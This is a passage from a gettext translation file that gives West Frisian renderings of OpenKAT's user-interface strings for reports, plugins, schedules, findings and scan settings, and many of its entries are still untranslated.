%(total_oois)s objekten\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object name\"\nmsgstr \"Objektnamme\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Report(s) may be empty due to no objects in the selected filters.\"\nmsgstr \"\"\n\"Rapportaazje(s) kin(ne) leech wêze as der gjin objekten út selektearre \"\n\"filter(s) komme.\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Reports matching the selected filters will be empty at this moment in time. \"\n\"Future reports may contain data. It is still possible to generate the \"\n\"(potentially empty) report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Continue with live set\"\nmsgstr \"Trochgean mei liveset\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Continue with selection\"\nmsgstr \"Trochgean mei seleksje\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Configuration\"\nmsgstr \"Konfiguraasje\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Set up the required plugins for this report.\"\nmsgstr \"Konfigurearje de nedige ynstekkers foar dit rapport.\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugins\"\nmsgstr \"Ynstekkers\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"KAT will be able to generate a full report when all the required and \"\n\"suggested boefjes are enabled.\"\nmsgstr \"\"\n\"KAT kin in folslein rapport produsearje as alle ferplichte en foarstelde \"\n\"Boefjes ynskeakele binne.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"If you choose not to enable a plugin, the data that plugin would collect or \"\n\"produce will be left out of the report which will then be generated based on \"\n\"the available data collected by the enabled plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"Some plugins are mandatory as they are crucial for a report type. Reports \"\n\"that don't have their requirements met will be skipped.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Warning! Before you proceed read the following points:\"\nmsgstr \"Warskôging! Lês de folgjende punten eardat jo trochgean:\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"OpenKAT is designed to scan all known objects on a regular basis using the \"\n\"enabled plugins and set clearance levels. This means that scans will run \"\n\"automatically. Be patient; plugins may take some time before they have \"\n\"collected all their data. Enabling them just before report generation will \"\n\"likely result in inaccurate reports, as plugins have not finished collecting \"\n\"data.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All required plugins are enabled.\"\nmsgstr \"Goed dien. Alle fereaske ynstekkers binne ynskeakele.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"This report type requires the following plugins to be enabled:\"\nmsgstr \"Dit rapport fereasket dat de folgjende ynstekkers ynskeakele binne:\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all required plugins\"\nmsgstr \"Alle fereaske ynstekkers yn-/útskeakelje\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show enabled plugins\"\nmsgstr \"Ynskeakele ynstekkers toane\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no required plugins.\"\nmsgstr \"Der binne gjin fereaske ynstekkers.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All suggested plugins are enabled.\"\nmsgstr \"Goed dien! Alle fereaske ynstekkers binne ynskeakele.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"The following plugins are optional to generate the report:\"\nmsgstr \"De folgjende ynstekkers binne opsjoneel om it rapport te generearjen:\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all optional plugins\"\nmsgstr \"Alle opsjonele ynstekkers yn-/útskeakelje\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Hide suggested plugins\"\nmsgstr \"Foarstelde ynstekkers ferstopje\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show more suggested plugins\"\nmsgstr \"Mear foarstelde ynstekkers toane\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no optional plugins.\"\nmsgstr \"Der binne gjin opsjonele ynstekkers.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Enable selected plugins and continue\"\nmsgstr \"Selektearre ynstekkers ynskeakelje en trochgean\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"\"\n\"\\n\"\n\"            This overview shows the total number of findings per\\n\"\n\"            severity that have been identified for this organization.\\n\"\n\"        \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total per severity overview\"\nmsgstr \"Oersjoch totalen per earnst\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Critical\"\nmsgstr \"Kritysk\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"High\"\nmsgstr \"Heech\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Medium\"\nmsgstr \"Gemiddeld\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Low\"\nmsgstr \"Leech\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Pending\"\nmsgstr \"Yn behanneling\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Unknown\"\nmsgstr \"Unbekend\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total\"\nmsgstr \"Totaal\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Objects\"\nmsgstr \"Selektearre objekten\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Plugins\"\nmsgstr \"Selektearre ynstekkers\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Used Config Objects\"\nmsgstr \"Brûkte konfiguraasjeobjekten\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Choose report types\"\nmsgstr \"Kies rapporttypen\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"\"\n\"Various types of reports, such as DNS reports and TLS reports, are essential \"\n\"for identifying vulnerabilities in different aspects of a system's security. \"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses, while TLS reports assess the security of data encryption and \"\n\"transmission protocols, helping organizations pinpoint areas where security \"\n\"improvements are needed.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"Selected object (%(total_oois)s)\"\nmsgid_plural \"Selected objects (%(total_oois)s)\"\nmsgstr[0] \"Selektearre objekt (%(total_oois)s)\"\nmsgstr[1] \"Selektearre objekten (%(total_oois)s)\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"\"\n\"You have selected a live set in the previous step. Based on the current \"\n\"dataset, this live set results in %(total_oois)s objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Applied filters:\"\nmsgstr \"Aktive filters:\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"You have selected %(total_oois)s object in the previous step.\"\nmsgid_plural \"You have selected %(total_oois)s objects in the previous step.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Change selection\"\nmsgstr \"Seleksje oanpasse\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Available report types\"\nmsgstr \"Beskikbere rapporttypen\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"All report types that are available for your selection.\"\nmsgstr \"Alle rapporten dy’t beskikber binne foar jo seleksje.\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Toggle all report types\"\nmsgstr \"Selektearje alle rapporttypen\"\n\n#: reports/templates/partials/return_button.html\n#, python-format\nmsgid \"%(btn_text)s\"\nmsgstr \"%(btn_text)s\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"Delete the following report(s):\"\nmsgstr \"Smyt de folgjende rapport(en) fuort:\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"Deleted reports are removed in the view from the moment of deletion. The \"\n\"report can still be accessed on timestamps before the deletion. Only the \"\n\"report is removed from the view, not the data it is based on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"It is still possible to generate a new report for same date. If the report \"\n\"is part of a combined report, it will remain available in the combined \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Reference date\"\nmsgstr \"Referinsjedatum\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Disable schedule\"\nmsgstr \"Skema útskeakelje\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to disable the schedule for <strong>%(report_name)s</\"\n\"strong>? The recipe will still exist and the schedule can be enabled later \"\n\"on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Rename the following report(s):\"\nmsgstr \"Jou de folgjende rapport(en) in oare namme:\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rename\"\nmsgstr \"Omneame\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"Rerun the following report(s):\"\nmsgstr \"Generearje de folgjende rapport(en) opnij:\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"\"\n\"By submitting you're generating the selected reports again, using the \"\n\"current data.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rerun\"\nmsgstr \"Opnij generearje\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"Reports history\"\nmsgstr \"Rapportskiednis\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"\"\n\"On this page you can see all the reports that have been generated in the \"\n\"past. To create a new report, click the 'Generate Report' button.\"\nmsgstr \"\"\n\"Op dizze side sjogge jo alle rapporten dy’t yn it ferline generearre binne. \"\n\"Om in nij rapport te meitsjen, klik de knop ‘Rapport generearje’.\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s reports\"\nmsgstr \"%(length)s fan %(total)s rapporten toand\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Reports:\"\nmsgstr \"Rapporten:\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows parent report details\"\nmsgstr \"Boppelizzende rapportdetails toane\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Close asset report object details\"\nmsgstr \"Objektdetails fan assetrapport slute\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Open asset report object details\"\nmsgstr \"Objektdetails fan assetrapport iepenje\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Asset reports details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, python-format\nmsgid \"\"\n\"This report consists of %(counter)s asset report with the following report \"\n\"type and object:\"\nmsgid_plural \"\"\n\"This report consists of %(counter)s asset reports with the following report \"\n\"types and objects:\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/views/report_overview.py\nmsgid \"Asset reports\"\nmsgstr \"Assetrapporten\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows asset report details\"\nmsgstr \"Toant assetrapportdetails\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"View all asset reports\"\nmsgstr \"Alle assetrapporten toane\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"No reports have been generated yet.\"\nmsgstr \"Der binne noch gjin rapporten generearre.\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#: reports/views/base.py rocky/templates/header.html\n#: rocky/templates/tasks/partials/tab_navigation.html\n#: rocky/templates/tasks/reports.html rocky/views/tasks.py\nmsgid \"Reports\"\nmsgstr \"Rapporten\"\n\n#: reports/templates/report_overview/report_overview_header.html\nmsgid \"An overview of reports that are scheduled or have been generated.\"\nmsgstr \"In oersjoch fan rapporten dy’t ynpland binne of generearre binne.\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Scheduled\"\nmsgstr \"Pland\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"History\"\nmsgstr \"Skiednis\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"Scheduled reports\"\nmsgstr \"Ynplande rapporten\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"\"\n\"On this page you can see all the reports that are or have been scheduled. To \"\n\"schedule a report, select a start date and recurrence while generating a \"\n\"report.\"\nmsgstr \"\"\n\"Op dizze side sjogge jo alle rapporten dy’t ynpland binne of wiene. Om in \"\n\"rapport yn te plannen, selektearje in startdatum en werhellingspatroan wylst \"\n\"it generearjen fan in rapport.\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s schedules\"\nmsgstr \"%(length)s fan %(total)s skema’s toand\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled reports:\"\nmsgstr \"Ynplande rapporten:\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled for\"\nmsgstr \"Ynpland foar\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Schedule status\"\nmsgstr \"Skemastatus\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Once\"\nmsgstr \"Ien kear\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recent reports\"\nmsgstr \"Resinte rapporten\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled Reports:\"\nmsgstr \"Ynplande rapporten:\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Show report details\"\nmsgstr \"Rapportdetails toane\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"objects\"\nmsgstr \"objekten\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enable schedule\"\nmsgstr \"Skema ynskeakelje\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"No scheduled reports have been generated yet.\"\nmsgstr \"Der binne noch gjin plande rapporten generearre.\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"Back to Reports History\"\nmsgstr \"Werom nei rapportskiednis\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"An overview of all underlying reports of\"\nmsgstr \"In oersjocht fan alle ûnderlizzende rapporten fan\"\n\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Shows report details\"\nmsgstr \"Rapportdetails toane\"\n\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Input Object\"\nmsgstr \"Inputobjekt\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"Delete report recipe\"\nmsgstr \"Rapportresept fuortsmite\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete report recipe \\\"%(name)s\\\"?\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"\"\n\"Deleting this report recipe means it will be permanently deleted. It will \"\n\"not be possible anymore to see or enable the schedule. You will find \"\n\"previously generated reports in the report history tab.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The objects listed in the table below were used to generate this report. For \"\n\"each object in the table it additionally shows the clearance level and \"\n\"whether or not the object was added by a user ('Declared') or indirectly \"\n\"identified through another service or system ('Inherited').\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No objects found.\"\nmsgstr \"Gjin objekten fûn.\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The table below shows which reports were chosen to generate this report, \"\n\"including a report description.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No report types found.\"\nmsgstr \"Gjin rapporttypen fûn.\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"The table below shows all required or optional plugins for the selected \"\n\"reports.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Required and optional plugins\"\nmsgstr \"Fereaske en opsjonele ynstekkers\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin enabled\"\nmsgstr \"Ynstekker ynskeakele\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin options\"\nmsgstr \"Ynstekkeropsjes\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin scan level\"\nmsgstr \"Ynstekkerscannivo\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Enabled.\"\nmsgstr \"Ynskeakele.\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"required\"\nmsgstr \"fereaske\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"optional\"\nmsgstr \"opsjoneel\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin extra info\"\nmsgstr \"Ekstra ynstekkerynformaasje\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"There are no required or optional plugins needed for the selected report \"\n\"types.\"\nmsgstr \"\"\n\"Der binne gjin fereaske of opsjonele ynstekkers nedich foar de selektearre \"\n\"rapporttypen.\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select objects\"\nmsgstr \"Selektearje objekten\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select report types\"\nmsgstr \"Selektearje rapporttypen\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Export setup\"\nmsgstr \"Ynstellingen eksportearje\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"Save report\"\nmsgstr \"Rapport bewarje\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"You do not have the required permissions to enable plugins.\"\nmsgstr \"Jo hawwe net de nedige rjochten om ynstekkers yn te skeakeljen.\"\n\n#: reports/views/base.py\nmsgid \"Select at least one OOI to proceed.\"\nmsgstr \"Selektearje op syn minst ien OOI om troch te gean.\"\n\n#: reports/views/base.py\nmsgid \"Select at least one report type to proceed.\"\nmsgstr \"Selektearje op syn minst ien rapporttype om troch te gean.\"\n\n#: reports/views/mixins.py\nmsgid \"\"\n\"No data could be found for %(report_types). Object(s) did not exist on \"\n\"%(date)s.\"\nmsgstr \"\"\n\n#: reports/views/multi_report.py\nmsgid \"View report\"\nmsgstr \"Rapport toane\"\n\n#: reports/views/report_overview.py\nmsgid \"Not enough permissions\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe '{}' deleted successfully\"\nmsgstr \"Resept ‘{}’ mei sukses fuortsmiten\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe not found.\"\nmsgstr \"Resept net fûn.\"\n\n#: reports/views/report_overview.py\nmsgid \"No schedule or recipe selected\"\nmsgstr \"Gjin skema of resept selektearre\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule disabled successfully. '{}' will not be generated automatically \"\n\"until the schedule is enabled again.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule enabled successfully. '{}' will be generated according to schedule.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"An unexpected error occurred, please check logs for more info.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Other OOI type selected than Report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Deletion successful.\"\nmsgstr \"Mei sukses fuortsmiten.\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Multi organization reports cannot be rescheduled. It consists of imported \"\n\"data from different organizations and is not based on newly generated data.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Rerun successful. It may take a moment before the new report has been \"\n\"generated.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\n#, python-format\nmsgid \"\"\n\"Couldn't rerun %s, since the recipe for this report has been disabled or \"\n\"deleted.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Renaming failed. Empty report name found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report names and reports does not match.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Reports successfully renamed.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report {} could not be renamed.\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"1: Select objects\"\nmsgstr \"1: Selektearje objekten\"\n\n#: reports/views/view_helpers.py\nmsgid \"2: Choose report types\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Configuration\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"4: Export setup\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Export setup\"\nmsgstr \"\"\n\n#: tools/forms/base.py\nmsgid \"Date\"\nmsgstr \"\"\n\n#: tools/forms/base.py tools/forms/scheduler.py\nmsgid \"The selected date is in the future. Please select a different date.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"For example: -sTU --top-ports 1000\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"JSON Schema\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Input object type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Output mime types\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Scan type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval amount\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Specify the scanning interval for this Boefje. The default is 24 hours. For \"\n\"example: 5 minutes will let the Boefje scan every 5 minutes.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval frequency\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Object creation/change\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Choose weather the Boefje should run after creating and/or changing an \"\n\"object. \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"KAT-ID\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Unique ID within OpenKAT, for this type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Give the finding type a fitting title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the finding type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Risk\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"How can this be solved?\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe how this type of finding can be solved\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"References\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give some references on the solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give sources and references on the suggested solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Impact description\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the solutions impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution chance\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution effort\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"ID should start with \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Finding type already exists\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Click to select one of the available options\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Proof\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Provide evidence of your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Reproduce finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please explain how to reproduce your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Date/Time (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Doc! I'm from the future, I'm here to take you back!\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"OOI doesn't exist\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted and non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by severity\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py tools/forms/ooi_form.py tools/forms/scheduler.py\nmsgid \"Search\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Object ID contains (case sensitive)\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Filter types\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Clearance Level\"\nmsgstr \"Frijwarringsnivo\"\n\n#: tools/forms/ooi.py\nmsgid \"Next scan\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show objects that don't meet the Boefjes scan level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show Boefjes that exceed the objects clearance level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"\"\n\"All the boefjes with a scan level below or equal to the clearance level will \"\n\"be allowed to scan this object.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Expires by (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"option\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Optionally choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Please choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance level\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance type\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"From\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"To\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Cancelled\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Completed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Dispatched\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Failed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Queued\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Running\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"Search by object name\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"--- Show all ----\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"recommendation\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"low\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"medium\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"very high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"critical\"\nmsgstr \"\"\n\n#: 